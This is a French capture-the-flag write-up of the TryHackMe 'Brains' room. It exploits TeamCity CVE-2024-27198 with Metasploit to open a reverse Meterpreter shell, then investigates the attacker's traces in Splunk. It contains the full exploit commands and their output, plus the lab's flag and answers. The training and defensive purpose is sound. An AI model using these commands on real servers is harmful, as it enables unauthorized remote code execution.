Introduction
Brains est une room Purple Team qui combine exploitation et investigation. On compromet d'abord un serveur TeamCity vulnérable, puis on analyse les traces laissées par l'attaquant dans Splunk.
Scénario : Une ville a oublié de fermer ses portes... des intrus se sont introduits.
Outils utilisés : Nmap, Metasploit, Splunk
Part 1 : Red Team - Exploitation
Reconnaissance
Scan Nmap agressif pour énumérer les services :
nmap -sV -sC -A

Services découverts :
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 (Ubuntu) |
| 80 | HTTP | Apache/2.4.41 - "Maintenance" |
| 50000 | HTTP | TeamCity |
Énumération Web
Le port 80 affiche une simple page de maintenance, rien d'intéressant.
Le port 50000 révèle une interface TeamCity avec une page de login.

Identification de la vulnérabilité
L'interface affiche TeamCity 2023.11.3. En recherchant cette version, je trouve CVE-2024-27198 : une vulnérabilité d'authentication bypass menant à une RCE non authentifiée.
Exploitation avec Metasploit
msfconsole -q
use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198
set RHOST <IP>
set RPORT 50000
run
Metasploit confirme la vulnérabilité, crée un token d'authentification, upload un plugin malveillant et ouvre une session Meterpreter :
[*] Started reverse TCP handler on 10.82.84.132:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.Ykotc2NkcHBBZFRCWlJpc3dTQ3pER0FYYXI0.OTliNmFiMjMtNGRkOS00MzUxLWI1MDQtOTkxM2NiYzllNjQ2
[*] Uploading plugin: 6BcNNIbX
[*] Sending stage (58073 bytes) to 10.82.135.82
[*] Deleting the plugin...
[+] Deleted /opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_6BcNNIbX
[+] Deleted /home/ubuntu/.BuildServer/system/caches/plugins.unpacked/6BcNNIbX
[*] Meterpreter session 2 opened (10.82.84.132:4444 -> 10.82.135.82:38812) at 2025-12-30 12:56:01 +0000
[!] Failed to list all plugins.
[!] Failed to discover enabled plugin UUID
[!] Failed to delete the plugin.
[*] Deleting the authentication token...
[!] This exploit may require manual cleanup of '/opt/teamcity/TeamCity/webapps/ROOT/plugins/6BcNNIbX' on the target
Flag User
meterpreter > cat flag.txt

Réponse : THM{faa9bac345709b6620a6200b484c7594}
Part 2 : Blue Team - Investigation Splunk
Après l'exploitation, on passe côté défense pour analyser les traces laissées par l'attaquant.
Connexion à Splunk
- URL :
http://<IP>:8000 - Username :
splunk - Password :
analyst123
Je navigue vers Search & Reporting pour analyser les logs collectés.
Question 1 : Backdoor User
Pour trouver les créations de comptes, on doit analyser le fichier auth.log.
Requête Splunk :
source="/var/log/auth.log" useradd "new user"

La recherche révèle la création d'un compte backdoor.
Réponse : eviluser
Question 2 : Package malveillant
Pour identifier les packages installés, j'analyse le fichier dpkg.log en filtrant sur la date de l'attaque.
Requête Splunk :
source="/var/log/dpkg.log" date_month="july" date_mday="4" *install*

Un package suspect a été installé sur le serveur.
Réponse : datacollector
Question 3 : Plugin malveillant
Pour trouver le plugin uploadé pendant l'exploitation, j'analyse les logs d'activité TeamCity.
Requête Splunk :
source="/opt/teamcity/TeamCity/logs/teamcity-activities.log" *plugin*

Les logs révèlent le plugin uploadé par Metasploit.
Réponse : YAgxHifR.zip
Timeline de l'attaque
| Étape | Action | Preuve |
|---|---|---|
| 1 | Reconnaissance | Scan Nmap → TeamCity exposé |
| 2 | Exploitation | CVE-2024-27198 → RCE |
| 3 | Plugin malveillant | Upload YAgxHifR.zip |
| 4 | Persistence | Création user eviluser |
| 5 | Installation tools | Package datacollector |
Mapping MITRE ATT&CK
| Technique | ID | Observation |
|---|---|---|
| Exploit Public-Facing Application | T1190 | Exploitation TeamCity |
| Create Account | T1136 | User eviluser créé |
| Software Deployment Tools | T1072 | Package datacollector |
| Server Software Component | T1505.003 | Plugin malveillant uploadé |
Indicateurs de compromission (IOCs)
| Type | Valeur |
|---|---|
| CVE | CVE-2024-27198 |
| Backdoor User | eviluser |
| Package | datacollector |
| Plugin | YAgxHifR.zip |
| Port | 50000 (TeamCity) |
Leçons apprises
Côté Red Team
- CVE-2024-27198 permet une RCE non authentifiée
Côté Blue Team
- Monitorer /var/log/auth.log pour les créations de comptes
- Surveiller /var/log/dpkg.log pour les installations suspectes
- Auditer les logs applicatifs (TeamCity, Jenkins, etc.) pour les plugins
Recommandations de remédiation
- Patcher TeamCity vers une version corrigée
- Restreindre l'accès à TeamCity au réseau interne ou via VPN uniquement.
- Alerter sur les créations de comptes non autorisées
- Monitorer les installations de packages en dehors des fenêtres de maintenance
Pratiquer sur CyberPath
- SOC Triage Trainer - Triez ce type d'alertes
- Log Analyzer - Analysez des logs similaires
- MITRE ATT&CK Explorer - Explorez les techniques utilisées
